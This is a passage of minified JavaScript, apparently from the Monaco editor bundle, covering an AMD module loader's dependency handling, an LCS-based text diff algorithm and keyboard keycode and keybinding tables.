a=u.shift(),l=this._modules2[a];l&&(s=l.onDependencyError(n)||s);var c=this._inverseDependencies2[a];if(c)for(var i=0,o=c.length;i<o;i++){var f=c[i];r[f]||(u.push(f),r[f]=!0)}}s||this._config.onError(n)},s.prototype._hasDependencyPath=function(e,t){var n=this._modules2[e];if(!n)return!1;for(var r=[],i=0,o=this._moduleIdProvider.getMaxModuleId();i<o;i++)r[i]=!1;var s=[];for(s.push(n),r[e]=!0;s.length>0;){var u=s.shift().dependencies;if(u)for(var i=0,o=u.length;i<o;i++){var a=u[i];if(a.id===t)return!0;var l=this._modules2[a.id];l&&!r[a.id]&&(r[a.id]=!0,s.push(l))}}return!1},s.prototype._findCyclePath=function(e,t,n){if(e===t||50===n)return[e];var r=this._modules2[e];if(!r)return null;for(var i=r.dependencies,o=0,s=i.length;o<s;o++){var u=this._findCyclePath(i[o].id,t,n+1);if(null!==u)return u.push(e),u}return null},s.prototype._createRequire=function(t){var n=this,r=function(e,r,i){return n._relativeRequire(t,e,r,i)};return r.toUrl=function(e){return n._config.requireToUrl(t.resolveModule(e))},r.getStats=function(){return n.getLoaderEvents()},r.__$__nodeRequire=e.global.nodeRequire,r},s.prototype._loadModule=function(t){var n=this;if(!this._modules2[t]&&!this._knownModules2[t]){this._knownModules2[t]=!0;var r=this._moduleIdProvider.getStrModuleId(t),i=this._config.moduleIdToPaths(r);this._env.isNode&&-1===r.indexOf(\"/\")&&i.push(\"node|\"+r);var o=-1,s=function(r){if(++o>=i.length)n._onLoadError(t,r);else{var u=i[o],a=n.getRecorder();if(n._config.isBuild()&&\"empty:\"===u)return n._buildInfoPath[t]=u,n.defineModule(n._moduleIdProvider.getStrModuleId(t),[],null,null,null),void n._onLoad(t);a.record(e.LoaderEventType.BeginLoadingScript,u),n._scriptLoader.load(n,u,function(){n._config.isBuild()&&(n._buildInfoPath[t]=u),a.record(e.LoaderEventType.EndLoadingScriptOK,u),n._onLoad(t)},function(t){a.record(e.LoaderEventType.EndLoadingScriptError,u),s(t)})}};s(null)}},s.prototype._loadPluginDependency=function(e,n){var r=this;if(!this._modules2[n.id]&&!this._knownModules2[n.id]){this._knownModules2[n.id]=!0;var i=function(e){r.defineModule(r._moduleIdProvider.getStrModuleId(n.id),[],e,null,null)};i.error=function(e){r._config.onError(r._createLoadError(n.id,e))},e.load(n.pluginParam,this._createRequire(t.ROOT),i,this._config.getOptionsLiteral())}},s.prototype._resolve=function(e){for(var t=this,n=e.dependencies,r=0,s=n.length;r<s;r++){var u=n[r];if(u!==i.EXPORTS)if(u!==i.MODULE)if(u!==i.REQUIRE){var a=this._modules2[u.id];if(a&&a.isComplete())e.unresolvedDependenciesCount--;else if(this._hasDependencyPath(u.id,e.id)){console.warn(\"There is a dependency cycle between '\"+this._moduleIdProvider.getStrModuleId(u.id)+\"' and '\"+this._moduleIdProvider.getStrModuleId(e.id)+\"'. The cyclic path follows:\");var l=this._findCyclePath(u.id,e.id,0);l.reverse(),l.push(u.id),console.warn(l.map(function(e){return t._moduleIdProvider.getStrModuleId(e)}).join(\" => \\n\")),e.unresolvedDependenciesCount--}else if(this._inverseDependencies2[u.id]=this._inverseDependencies2[u.id]||[],this._inverseDependencies2[u.id].push(e.id),u instanceof o){var c=this._modules2[u.pluginId];if(c&&c.isComplete()){this._loadPluginDependency(c.exports,u);continue}var f=this._inversePluginDependencies2.get(u.pluginId);f||(f=[],this._inversePluginDependencies2.set(u.pluginId,f)),f.push(u),this._loadModule(u.pluginId)}else this._loadModule(u.id)}else e.unresolvedDependenciesCount--;else e.unresolvedDependenciesCount--;else e.exportsPassedIn=!0,e.unresolvedDependenciesCount--}0===e.unresolvedDependenciesCount&&this._onModuleComplete(e)},s.prototype._onModuleComplete=function(e){var t=this,n=this.getRecorder();if(!e.isComplete()){for(var r=e.dependencies,o=[],s=0,u=r.length;s<u;s++){var a=r[s];if(a!==i.EXPORTS)if(a!==i.MODULE)if(a!==i.REQUIRE){var l=this._modules2[a.id];o[s]=l?l.exports:null}else o[s]=this._createRequire(e.moduleIdResolver);else o[s]={id:e.strId,config:function(){return t._config.getConfigForModule(e.strId)}};else o[s]=e.exports}e.complete(n,this._config,o);var c=this._inverseDependencies2[e.id];if(this._inverseDependencies2[e.id]=null,c)for(var s=0,u=c.length;s<u;s++){var f=c[s],h=this._modules2[f];h.unresolvedDependenciesCount--,0===h.unresolvedDependenciesCount&&this._onModuleComplete(h)}var d=this._inversePluginDependencies2.get(e.id);if(d){this._inversePluginDependencies2.delete(e.id);for(var s=0,u=d.length;s<u;s++)this._loadPluginDependency(e.exports,d[s])}}},s}();e.ModuleManager=s}(i||(i={}));var r,i;!function(e){function t(){(o=function(e,t,n){\"string\"!=typeof e&&(n=t,t=e,e=null),\"object\"==typeof t&&Array.isArray(t)||(n=t,t=null),t||(t=[\"require\",\"exports\",\"module\"]),e?i.defineModule(e,t,n,null,null):i.enqueueDefineAnonymousModule(t,n)}).amd={jQuery:!0};var t=function(e,t){void 0===t&&(t=!1),i.configure(e,t)};(s=function(){if(1===arguments.length){if(arguments[0]instanceof Object&&!Array.isArray(arguments[0]))return void t(arguments[0]);if(\"string\"==typeof arguments[0])return i.synchronousRequire(arguments[0])}if(2!==arguments.length&&3!==arguments.length||!Array.isArray(arguments[0]))throw new Error(\"Unrecognized require call\");i.defineModule(e.Utilities.generateAnonymousModule(),arguments[0],arguments[1],arguments[2],null)}).config=t,s.getConfig=function(){return i.getConfig().getOptionsLiteral()},s.reset=function(){i=i.reset()},s.getBuildInfo=function(){return i.getBuildInfo()},s.getStats=function(){return i.getLoaderEvents()}}function n(){t();var n=e.Environment.detect(),u=e.createScriptLoader(n);if(i=new e.ModuleManager(n,u,o,s,e.Utilities.getHighPerformanceTimestamp()),n.isNode){var a=e.global.require||require,l=function(t){i.getRecorder().record(e.LoaderEventType.NodeBeginNativeRequire,t);try{return a(t)}finally{i.getRecorder().record(e.LoaderEventType.NodeEndNativeRequire,t)}};e.global.nodeRequire=l,s.nodeRequire=l}n.isNode&&!n.isElectronRenderer?(module.exports=s,r=function(){o.apply(null,arguments)},require=s):(void 0!==e.global.require&&\"function\"!=typeof e.global.require&&s.config(e.global.require),n.isElectronRenderer?r=function(){o.apply(null,arguments)}:e.global.define=r=o,e.global.require=s,e.global.require.__$__nodeRequire=l)}var i=null,o=null,s=null;e.init=n,\"undefined\"!=typeof doNotInitLoader||\"function\"==typeof e.global.define&&e.global.define.amd||n()}(i||(i={})),r(e[16],t([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.DifferenceType={Add:0,Remove:1,Change:2};var n=function(){function e(e,t,n,r){this.originalStart=e,this.originalLength=t,this.modifiedStart=n,this.modifiedLength=r}return e.prototype.getChangeType=function(){return 0===this.originalLength?t.DifferenceType.Add:0===this.modifiedLength?t.DifferenceType.Remove:t.DifferenceType.Change},e.prototype.getOriginalEnd=function(){return this.originalStart+this.originalLength},e.prototype.getModifiedEnd=function(){return this.modifiedStart+this.modifiedLength},e}();t.DiffChange=n}),r(e[12],t([1,0,16]),function(e,t,n){\"use strict\";function r(e){return{getLength:function(){return e.length},getElementHash:function(t){return e[t]}}}Object.defineProperty(t,\"__esModule\",{value:!0}),t.stringDiff=function(e,t,n){return new a(r(e),r(t)).ComputeDiff(n)};var i=function(){function e(){}return e.Assert=function(e,t){if(!e)throw new Error(t)},e}();t.Debug=i;var o=function(){function e(){}return e.Copy=function(e,t,n,r,i){for(var o=0;o<i;o++)n[r+o]=e[t+o]},e}();t.MyArray=o;var s=function(){function e(){this.m_changes=[],this.m_originalStart=Number.MAX_VALUE,this.m_modifiedStart=Number.MAX_VALUE,this.m_originalCount=0,this.m_modifiedCount=0}return e.prototype.MarkNextChange=function(){(this.m_originalCount>0||this.m_modifiedCount>0)&&this.m_changes.push(new n.DiffChange(this.m_originalStart,this.m_originalCount,this.m_modifiedStart,this.m_modifiedCount)),this.m_originalCount=0,this.m_modifiedCount=0,this.m_originalStart=Number.MAX_VALUE,this.m_modifiedStart=Number.MAX_VALUE},e.prototype.AddOriginalElement=function(e,t){this.m_originalStart=Math.min(this.m_originalStart,e),this.m_modifiedStart=Math.min(this.m_modifiedStart,t),this.m_originalCount++},e.prototype.AddModifiedElement=function(e,t){this.m_originalStart=Math.min(this.m_originalStart,e),this.m_modifiedStart=Math.min(this.m_modifiedStart,t),this.m_modifiedCount++},e.prototype.getChanges=function(){return(this.m_originalCount>0||this.m_modifiedCount>0)&&this.MarkNextChange(),this.m_changes},e.prototype.getReverseChanges=function(){return(this.m_originalCount>0||this.m_modifiedCount>0)&&this.MarkNextChange(),this.m_changes.reverse(),this.m_changes},e}(),u=Object.prototype.hasOwnProperty,a=function(){function e(e,t,n){void 0===n&&(n=null),this.OriginalSequence=e,this.ModifiedSequence=t,this.ContinueProcessingPredicate=n,this.m_originalIds=[],this.m_modifiedIds=[],this.m_forwardHistory=[],this.m_reverseHistory=[],this.ComputeUniqueIdentifiers()}return e.prototype.ComputeUniqueIdentifiers=function(){var e=this.OriginalSequence.getLength(),t=this.ModifiedSequence.getLength();this.m_originalIds=new Array(e),this.m_modifiedIds=new Array(t);var n,r={},i=1;for(n=0;n<e;n++){var o=this.OriginalSequence.getElementHash(n);u.call(r,o)?this.m_originalIds[n]=r[o]:(this.m_originalIds[n]=i++,r[o]=this.m_originalIds[n])}for(n=0;n<t;n++){var s=this.ModifiedSequence.getElementHash(n);u.call(r,s)?this.m_modifiedIds[n]=r[s]:(this.m_modifiedIds[n]=i++,r[s]=this.m_modifiedIds[n])}},e.prototype.ElementsAreEqual=function(e,t){return this.m_originalIds[e]===this.m_modifiedIds[t]},e.prototype.OriginalElementsAreEqual=function(e,t){return this.m_originalIds[e]===this.m_originalIds[t]},e.prototype.ModifiedElementsAreEqual=function(e,t){return this.m_modifiedIds[e]===this.m_modifiedIds[t]},e.prototype.ComputeDiff=function(e){return this._ComputeDiff(0,this.OriginalSequence.getLength()-1,0,this.ModifiedSequence.getLength()-1,e)},e.prototype._ComputeDiff=function(e,t,n,r,i){var o=[!1],s=this.ComputeDiffRecursive(e,t,n,r,o);return i?this.ShiftChanges(s):s},e.prototype.ComputeDiffRecursive=function(e,t,r,o,s){for(s[0]=!1;e<=t&&r<=o&&this.ElementsAreEqual(e,r);)e++,r++;for(;t>=e&&o>=r&&this.ElementsAreEqual(t,o);)t--,o--;if(e>t||r>o){var u=void 0;return r<=o?(i.Assert(e===t+1,\"originalStart should only be one more than originalEnd\"),u=[new n.DiffChange(e,0,r,o-r+1)]):e<=t?(i.Assert(r===o+1,\"modifiedStart should only be one more than modifiedEnd\"),u=[new n.DiffChange(e,t-e+1,r,0)]):(i.Assert(e===t+1,\"originalStart should only be one more than originalEnd\"),i.Assert(r===o+1,\"modifiedStart should only be one more than modifiedEnd\"),u=[]),u}var a=[0],l=[0],c=this.ComputeRecursionPoint(e,t,r,o,a,l,s),f=a[0],h=l[0];if(null!==c)return c;if(!s[0]){var d=this.ComputeDiffRecursive(e,f,r,h,s),p=[];return p=s[0]?[new n.DiffChange(f+1,t-(f+1)+1,h+1,o-(h+1)+1)]:this.ComputeDiffRecursive(f+1,t,h+1,o,s),this.ConcatenateChanges(d,p)}return[new n.DiffChange(e,t-e+1,r,o-r+1)]},e.prototype.WALKTRACE=function(e,t,r,i,o,u,a,l,c,f,h,d,p,m,_,g,v,y){var b,C=null,E=null,S=new s,L=t,N=r,A=p[0]-g[0]-i,P=Number.MIN_VALUE,M=this.m_forwardHistory.length-1;do{(b=A+e)===L||b<N&&c[b-1]<c[b+1]?(m=(h=c[b+1])-A-i,h<P&&S.MarkNextChange(),P=h,S.AddModifiedElement(h+1,m),A=b+1-e):(m=(h=c[b-1]+1)-A-i,h<P&&S.MarkNextChange(),P=h-1,S.AddOriginalElement(h,m+1),A=b-1-e),M>=0&&(e=(c=this.m_forwardHistory[M])[0],L=1,N=c.length-1)}while(--M>=-1);if(C=S.getReverseChanges(),y[0]){var w=p[0]+1,D=g[0]+1;if(null!==C&&C.length>0){var I=C[C.length-1];w=Math.max(w,I.getOriginalEnd()),D=Math.max(D,I.getModifiedEnd())}E=[new n.DiffChange(w,d-w+1,D,_-D+1)]}else{S=new s,L=u,N=a,A=p[0]-g[0]-l,P=Number.MAX_VALUE,M=v?this.m_reverseHistory.length-1:this.m_reverseHistory.length-2;do{(b=A+o)===L||b<N&&f[b-1]>=f[b+1]?(m=(h=f[b+1]-1)-A-l,h>P&&S.MarkNextChange(),P=h+1,S.AddOriginalElement(h+1,m+1),A=b+1-o):(m=(h=f[b-1])-A-l,h>P&&S.MarkNextChange(),P=h,S.AddModifiedElement(h+1,m+1),A=b-1-o),M>=0&&(o=(f=this.m_reverseHistory[M])[0],L=1,N=f.length-1)}while(--M>=-1);E=S.getChanges()}return this.ConcatenateChanges(C,E)},e.prototype.ComputeRecursionPoint=function(e,t,r,i,s,u,a){var l,c,f,h=0,d=0,p=0,m=0;e--,r--,s[0]=0,u[0]=0,this.m_forwardHistory=[],this.m_reverseHistory=[];var _=t-e+(i-r),g=_+1,v=new Array(g),y=new Array(g),b=i-r,C=t-e,E=e-r,S=t-i,L=(C-b)%2==0;v[b]=e,y[C]=t,a[0]=!1;var N,A;for(f=1;f<=_/2+1;f++){var P=0,M=0;for(h=this.ClipDiagonalBound(b-f,f,b,g),d=this.ClipDiagonalBound(b+f,f,b,g),N=h;N<=d;N+=2){for(c=(l=N===h||N<d&&v[N-1]<v[N+1]?v[N+1]:v[N-1]+1)-(N-b)-E,A=l;l<t&&c<i&&this.ElementsAreEqual(l+1,c+1);)l++,c++;if(v[N]=l,l+c>P+M&&(P=l,M=c),!L&&Math.abs(N-C)<=f-1&&l>=y[N])return s[0]=l,u[0]=c,A<=y[N]&&f<=1448?this.WALKTRACE(b,h,d,E,C,p,m,S,v,y,l,t,s,c,i,u,L,a):null}var w=(P-e+(M-r)-f)/2;if(null!==this.ContinueProcessingPredicate&&!this.ContinueProcessingPredicate(P,this.OriginalSequence,w))return a[0]=!0,s[0]=P,u[0]=M,w>0&&f<=1448?this.WALKTRACE(b,h,d,E,C,p,m,S,v,y,l,t,s,c,i,u,L,a):(e++,r++,[new n.DiffChange(e,t-e+1,r,i-r+1)]);for(p=this.ClipDiagonalBound(C-f,f,C,g),m=this.ClipDiagonalBound(C+f,f,C,g),N=p;N<=m;N+=2){for(c=(l=N===p||N<m&&y[N-1]>=y[N+1]?y[N+1]-1:y[N-1])-(N-C)-S,A=l;l>e&&c>r&&this.ElementsAreEqual(l,c);)l--,c--;if(y[N]=l,L&&Math.abs(N-b)<=f&&l<=v[N])return s[0]=l,u[0]=c,A>=v[N]&&f<=1448?this.WALKTRACE(b,h,d,E,C,p,m,S,v,y,l,t,s,c,i,u,L,a):null}if(f<=1447){var D=new Array(d-h+2);D[0]=b-h+1,o.Copy(v,h,D,1,d-h+1),this.m_forwardHistory.push(D),(D=new Array(m-p+2))[0]=C-p+1,o.Copy(y,p,D,1,m-p+1),this.m_reverseHistory.push(D)}}return this.WALKTRACE(b,h,d,E,C,p,m,S,v,y,l,t,s,c,i,u,L,a)},e.prototype.ShiftChanges=function(e){var t;do{t=!1;for(l=0;l<e.length;l++)for(var n=e[l],r=l<e.length-1?e[l+1].originalStart:this.OriginalSequence.getLength(),i=l<e.length-1?e[l+1].modifiedStart:this.ModifiedSequence.getLength(),o=n.originalLength>0,s=n.modifiedLength>0;n.originalStart+n.originalLength<r&&n.modifiedStart+n.modifiedLength<i&&(!o||this.OriginalElementsAreEqual(n.originalStart,n.originalStart+n.originalLength))&&(!s||this.ModifiedElementsAreEqual(n.modifiedStart,n.modifiedStart+n.modifiedLength));)n.originalStart++,n.modifiedStart++;for(var u=new Array,a=[null],l=0;l<e.length;l++)l<e.length-1&&this.ChangesOverlap(e[l],e[l+1],a)?(t=!0,u.push(a[0]),l++):u.push(e[l]);e=u}while(t);for(l=e.length-1;l>=0;l--){var n=e[l],r=0,i=0;if(l>0){var c=e[l-1];c.originalLength>0&&(r=c.originalStart+c.originalLength),c.modifiedLength>0&&(i=c.modifiedStart+c.modifiedLength)}for(var o=n.originalLength>0,s=n.modifiedLength>0,f=0,h=this._boundaryScore(n.originalStart,n.originalLength,n.modifiedStart,n.modifiedLength),d=1;;d++){var p=n.originalStart-d,m=n.modifiedStart-d;if(p<r||m<m)break;if(o&&!this.OriginalElementsAreEqual(p,p+n.originalLength))break;if(s&&!this.ModifiedElementsAreEqual(m,m+n.modifiedLength))break;var _=this._boundaryScore(p,n.originalLength,m,n.modifiedLength);_>h&&(h=_,f=d)}n.originalStart-=f,n.modifiedStart-=f}return e},e.prototype._OriginalIsBoundary=function(e){return e<=0||e>=this.OriginalSequence.getLength()-1||/^\\s*$/.test(this.OriginalSequence.getElementHash(e))},e.prototype._OriginalRegionIsBoundary=function(e,t){if(this._OriginalIsBoundary(e)||this._OriginalIsBoundary(e-1))return!0;if(t>0){var n=e+t;if(this._OriginalIsBoundary(n-1)||this._OriginalIsBoundary(n))return!0}return!1},e.prototype._ModifiedIsBoundary=function(e){return e<=0||e>=this.ModifiedSequence.getLength()-1||/^\\s*$/.test(this.ModifiedSequence.getElementHash(e))},e.prototype._ModifiedRegionIsBoundary=function(e,t){if(this._ModifiedIsBoundary(e)||this._ModifiedIsBoundary(e-1))return!0;if(t>0){var n=e+t;if(this._ModifiedIsBoundary(n-1)||this._ModifiedIsBoundary(n))return!0}return!1},e.prototype._boundaryScore=function(e,t,n,r){return(this._OriginalRegionIsBoundary(e,t)?1:0)+(this._ModifiedRegionIsBoundary(n,r)?1:0)},e.prototype.ConcatenateChanges=function(e,t){var n=[],r=null;return 0===e.length||0===t.length?t.length>0?t:e:this.ChangesOverlap(e[e.length-1],t[0],n)?(r=new Array(e.length+t.length-1),o.Copy(e,0,r,0,e.length-1),r[e.length-1]=n[0],o.Copy(t,1,r,e.length,t.length-1),r):(r=new Array(e.length+t.length),o.Copy(e,0,r,0,e.length),o.Copy(t,0,r,e.length,t.length),r)},e.prototype.ChangesOverlap=function(e,t,r){if(i.Assert(e.originalStart<=t.originalStart,\"Left change is not less than or equal to right change\"),i.Assert(e.modifiedStart<=t.modifiedStart,\"Left change is not less than or equal to right change\"),e.originalStart+e.originalLength>=t.originalStart||e.modifiedStart+e.modifiedLength>=t.modifiedStart){var o=e.originalStart,s=e.originalLength,u=e.modifiedStart,a=e.modifiedLength;return e.originalStart+e.originalLength>=t.originalStart&&(s=t.originalStart+t.originalLength-e.originalStart),e.modifiedStart+e.modifiedLength>=t.modifiedStart&&(a=t.modifiedStart+t.modifiedLength-e.modifiedStart),r[0]=new n.DiffChange(o,s,u,a),!0}return r[0]=null,!1},e.prototype.ClipDiagonalBound=function(e,t,n,r){if(e>=0&&e<r)return e;var i=n,o=r-n-1,s=t%2==0;return e<0?s===(i%2==0)?0:1:s===(o%2==0)?r-1:r-2},e}();t.LcsDiff=a}),r(e[11],t([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.not=function(e){return function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return!e.apply(void 0,t)}},t.once=function(e){var t,n=this,r=!1;return function(){return r?t:(r=!0,t=e.apply(n,arguments))}}}),r(e[21],t([1,0]),function(e,t){\"use strict\";function n(e,t){var n=!!(2048&e),r=!!(256&e);return new a(2===t?r:n,!!(1024&e),!!(512&e),2===t?n:r,255&e)}Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.Unknown=0]=\"Unknown\",e[e.Backspace=1]=\"Backspace\",e[e.Tab=2]=\"Tab\",e[e.Enter=3]=\"Enter\",e[e.Shift=4]=\"Shift\",e[e.Ctrl=5]=\"Ctrl\",e[e.Alt=6]=\"Alt\",e[e.PauseBreak=7]=\"PauseBreak\",e[e.CapsLock=8]=\"CapsLock\",e[e.Escape=9]=\"Escape\",e[e.Space=10]=\"Space\",e[e.PageUp=11]=\"PageUp\",e[e.PageDown=12]=\"PageDown\",e[e.End=13]=\"End\",e[e.Home=14]=\"Home\",e[e.LeftArrow=15]=\"LeftArrow\",e[e.UpArrow=16]=\"UpArrow\",e[e.RightArrow=17]=\"RightArrow\",e[e.DownArrow=18]=\"DownArrow\",e[e.Insert=19]=\"Insert\",e[e.Delete=20]=\"Delete\",e[e.KEY_0=21]=\"KEY_0\",e[e.KEY_1=22]=\"KEY_1\",e[e.KEY_2=23]=\"KEY_2\",e[e.KEY_3=24]=\"KEY_3\",e[e.KEY_4=25]=\"KEY_4\",e[e.KEY_5=26]=\"KEY_5\",e[e.KEY_6=27]=\"KEY_6\",e[e.KEY_7=28]=\"KEY_7\",e[e.KEY_8=29]=\"KEY_8\",e[e.KEY_9=30]=\"KEY_9\",e[e.KEY_A=31]=\"KEY_A\",e[e.KEY_B=32]=\"KEY_B\",e[e.KEY_C=33]=\"KEY_C\",e[e.KEY_D=34]=\"KEY_D\",e[e.KEY_E=35]=\"KEY_E\",e[e.KEY_F=36]=\"KEY_F\",e[e.KEY_G=37]=\"KEY_G\",e[e.KEY_H=38]=\"KEY_H\",e[e.KEY_I=39]=\"KEY_I\",e[e.KEY_J=40]=\"KEY_J\",e[e.KEY_K=41]=\"KEY_K\",e[e.KEY_L=42]=\"KEY_L\",e[e.KEY_M=43]=\"KEY_M\",e[e.KEY_N=44]=\"KEY_N\",e[e.KEY_O=45]=\"KEY_O\",e[e.KEY_P=46]=\"KEY_P\",e[e.KEY_Q=47]=\"KEY_Q\",e[e.KEY_R=48]=\"KEY_R\",e[e.KEY_S=49]=\"KEY_S\",e[e.KEY_T=50]=\"KEY_T\",e[e.KEY_U=51]=\"KEY_U\",e[e.KEY_V=52]=\"KEY_V\",e[e.KEY_W=53]=\"KEY_W\",e[e.KEY_X=54]=\"KEY_X\",e[e.KEY_Y=55]=\"KEY_Y\",e[e.KEY_Z=56]=\"KEY_Z\",e[e.Meta=57]=\"Meta\",e[e.ContextMenu=58]=\"ContextMenu\",e[e.F1=59]=\"F1\",e[e.F2=60]=\"F2\",e[e.F3=61]=\"F3\",e[e.F4=62]=\"F4\",e[e.F5=63]=\"F5\",e[e.F6=64]=\"F6\",e[e.F7=65]=\"F7\",e[e.F8=66]=\"F8\",e[e.F9=67]=\"F9\",e[e.F10=68]=\"F10\",e[e.F11=69]=\"F11\",e[e.F12=70]=\"F12\",e[e.F13=71]=\"F13\",e[e.F14=72]=\"F14\",e[e.F15=73]=\"F15\",e[e.F16=74]=\"F16\",e[e.F17=75]=\"F17\",e[e.F18=76]=\"F18\",e[e.F19=77]=\"F19\",e[e.NumLock=78]=\"NumLock\",e[e.ScrollLock=79]=\"ScrollLock\",e[e.US_SEMICOLON=80]=\"US_SEMICOLON\",e[e.US_EQUAL=81]=\"US_EQUAL\",e[e.US_COMMA=82]=\"US_COMMA\",e[e.US_MINUS=83]=\"US_MINUS\",e[e.US_DOT=84]=\"US_DOT\",e[e.US_SLASH=85]=\"US_SLASH\",e[e.US_BACKTICK=86]=\"US_BACKTICK\",e[e.US_OPEN_SQUARE_BRACKET=87]=\"US_OPEN_SQUARE_BRACKET\",e[e.US_BACKSLASH=88]=\"US_BACKSLASH\",e[e.US_CLOSE_SQUARE_BRACKET=89]=\"US_CLOSE_SQUARE_BRACKET\",e[e.US_QUOTE=90]=\"US_QUOTE\",e[e.OEM_8=91]=\"OEM_8\",e[e.OEM_102=92]=\"OEM_102\",e[e.NUMPAD_0=93]=\"NUMPAD_0\",e[e.NUMPAD_1=94]=\"NUMPAD_1\",e[e.NUMPAD_2=95]=\"NUMPAD_2\",e[e.NUMPAD_3=96]=\"NUMPAD_3\",e[e.NUMPAD_4=97]=\"NUMPAD_4\",e[e.NUMPAD_5=98]=\"NUMPAD_5\",e[e.NUMPAD_6=99]=\"NUMPAD_6\",e[e.NUMPAD_7=100]=\"NUMPAD_7\",e[e.NUMPAD_8=101]=\"NUMPAD_8\",e[e.NUMPAD_9=102]=\"NUMPAD_9\",e[e.NUMPAD_MULTIPLY=103]=\"NUMPAD_MULTIPLY\",e[e.NUMPAD_ADD=104]=\"NUMPAD_ADD\",e[e.NUMPAD_SEPARATOR=105]=\"NUMPAD_SEPARATOR\",e[e.NUMPAD_SUBTRACT=106]=\"NUMPAD_SUBTRACT\",e[e.NUMPAD_DECIMAL=107]=\"NUMPAD_DECIMAL\",e[e.NUMPAD_DIVIDE=108]=\"NUMPAD_DIVIDE\",e[e.KEY_IN_COMPOSITION=109]=\"KEY_IN_COMPOSITION\",e[e.ABNT_C1=110]=\"ABNT_C1\",e[e.ABNT_C2=111]=\"ABNT_C2\",e[e.MAX_VALUE=112]=\"MAX_VALUE\"}(t.KeyCode||(t.KeyCode={}));var r=function(){function e(){this._keyCodeToStr=[],this._strToKeyCode=Object.create(null)}return e.prototype.define=function(e,t){this._keyCodeToStr[e]=t,this._strToKeyCode[t.toLowerCase()]=e},e.prototype.keyCodeToStr=function(e){return this._keyCodeToStr[e]},e.prototype.strToKeyCode=function(e){return this._strToKeyCode[e.toLowerCase()]||0},e}(),i=new r,o=new r,s=new r;!function(){function e(e,t,n,r){void 0===n&&(n=t),void 0===r&&(r=n),i.define(e,t),o.define(e,n),s.define(e,r)}e(0,\"unknown\"),e(1,\"Backspace\"),e(2,\"Tab\"),e(3,\"Enter\"),e(4,\"Shift\"),e(5,\"Ctrl\"),e(6,\"Alt\"),e(7,\"PauseBreak\"),e(8,\"CapsLock\"),e(9,\"Escape\"),e(10,\"Space\"),e(11,\"PageUp\"),e(12,\"PageDown\"),e(13,\"End\"),e(14,\"Home\"),e(15,\"LeftArrow\",\"Left\"),e(16,\"UpArrow\",\"Up\"),e(17,\"RightArrow\",\"Right\"),e(18,\"DownArrow\",\"Down\"),e(19,\"Insert\"),e(20,\"Delete\"),e(21,\"0\"),e(22,\"1\"),e(23,\"2\"),e(24,\"3\"),e(25,\"4\"),e(26,\"5\"),e(27,\"6\"),e(28,\"7\"),e(29,\"8\"),e(30,\"9\"),e(31,\"A\"),e(32,\"B\"),e(33,\"C\"),e(34,\"D\"),e(35,\"E\"),e(36,\"F\"),e(37,\"G\"),e(38,\"H\"),e(39,\"I\"),e(40,\"J\"),e(41,\"K\"),e(42,\"L\"),e(43,\"M\"),e(44,\"N\"),e(45,\"O\"),e(46,\"P\"),e(47,\"Q\"),e(48,\"R\"),e(49,\"S\"),e(50,\"T\"),e(51,\"U\"),e(52,\"V\"),e(53,\"W\"),e(54,\"X\"),e(55,\"Y\"),e(56,\"Z\"),e(57,\"Meta\"),e(58,\"ContextMenu\"),e(59,\"F1\"),e(60,\"F2\"),e(61,\"F3\"),e(62,\"F4\"),e(63,\"F5\"),e(64,\"F6\"),e(65,\"F7\"),e(66,\"F8\"),e(67,\"F9\"),e(68,\"F10\"),e(69,\"F11\"),e(70,\"F12\"),e(71,\"F13\"),e(72,\"F14\"),e(73,\"F15\"),e(74,\"F16\"),e(75,\"F17\"),e(76,\"F18\"),e(77,\"F19\"),e(78,\"NumLock\"),e(79,\"ScrollLock\"),e(80,\";\",\";\",\"OEM_1\"),e(81,\"=\",\"=\",\"OEM_PLUS\"),e(82,\",\",\",\",\"OEM_COMMA\"),e(83,\"-\",\"-\",\"OEM_MINUS\"),e(84,\".\",\".\",\"OEM_PERIOD\"),e(85,\"/\",\"/\",\"OEM_2\"),e(86,\"`\",\"`\",\"OEM_3\"),e(110,\"ABNT_C1\"),e(111,\"ABNT_C2\"),e(87,\"[\",\"[\",\"OEM_4\"),e(88,\"\\\\\",\"\\\\\",\"OEM_5\"),e(89,\"]\",\"]\",\"OEM_6\"),e(90,\"'\",\"'\",\"OEM_7\"),e(91,\"OEM_8\"),e(92,\"OEM_102\"),e(93,\"NumPad0\"),e(94,\"NumPad1\"),e(95,\"NumPad2\"),e(96,\"NumPad3\"),e(97,\"NumPad4\"),e(98,\"NumPad5\"),e(99,\"NumPad6\"),e(100,\"NumPad7\"),e(101,\"NumPad8\"),e(102,\"NumPad9\"),e(103,\"NumPad_Multiply\"),e(104,\"NumPad_Add\"),e(105,\"NumPad_Separator\"),e(106,\"NumPad_Subtract\"),e(107,\"NumPad_Decimal\"),e(108,\"NumPad_Divide\")}();!function(e){e.toString=function(e){return i.keyCodeToStr(e)},e.fromString=function(e){return i.strToKeyCode(e)},e.toUserSettingsUS=function(e){return o.keyCodeToStr(e)},e.toUserSettingsGeneral=function(e){return s.keyCodeToStr(e)},e.fromUserSettings=function(e){return o.strToKeyCode(e)||s.strToKeyCode(e)}}(t.KeyCodeUtils||(t.KeyCodeUtils={}));var u;!function(e){e[e.CtrlCmd=2048]=\"CtrlCmd\",e[e.Shift=1024]=\"Shift\",e[e.Alt=512]=\"Alt\",e[e.WinCtrl=256]=\"WinCtrl\",e[e.KeyCode=255]=\"KeyCode\"}(u||(u={}));!function(e){e[e.CtrlCmd=2048]=\"CtrlCmd\",e[e.Shift=1024]=\"Shift\",e[e.Alt=512]=\"Alt\",e[e.WinCtrl=256]=\"WinCtrl\"}(t.KeyMod||(t.KeyMod={})),t.KeyChord=function(e,t){return(e|(65535&t)<<16>>>0)>>>0},t.createKeybinding=function(e,t){if(0===e)return null;var r=(65535&e)>>>0,i=(4294901760&e)>>>16;return 0!==i?new l(n(r,t),n(i,t)):n(r,t)},t.createSimpleKeybinding=n;!function(e){e[e.Simple=1]=\"Simple\",e[e.Chord=2]=\"Chord\"}(t.KeybindingType||(t.KeybindingType={}));var a=function(){function e(e,t,n,r,i){this.type=1,this.ctrlKey=e,this.shiftKey=t,this.altKey=n,this.metaKey=r,this.keyCode=i}return e.prototype.equals=function(e){return 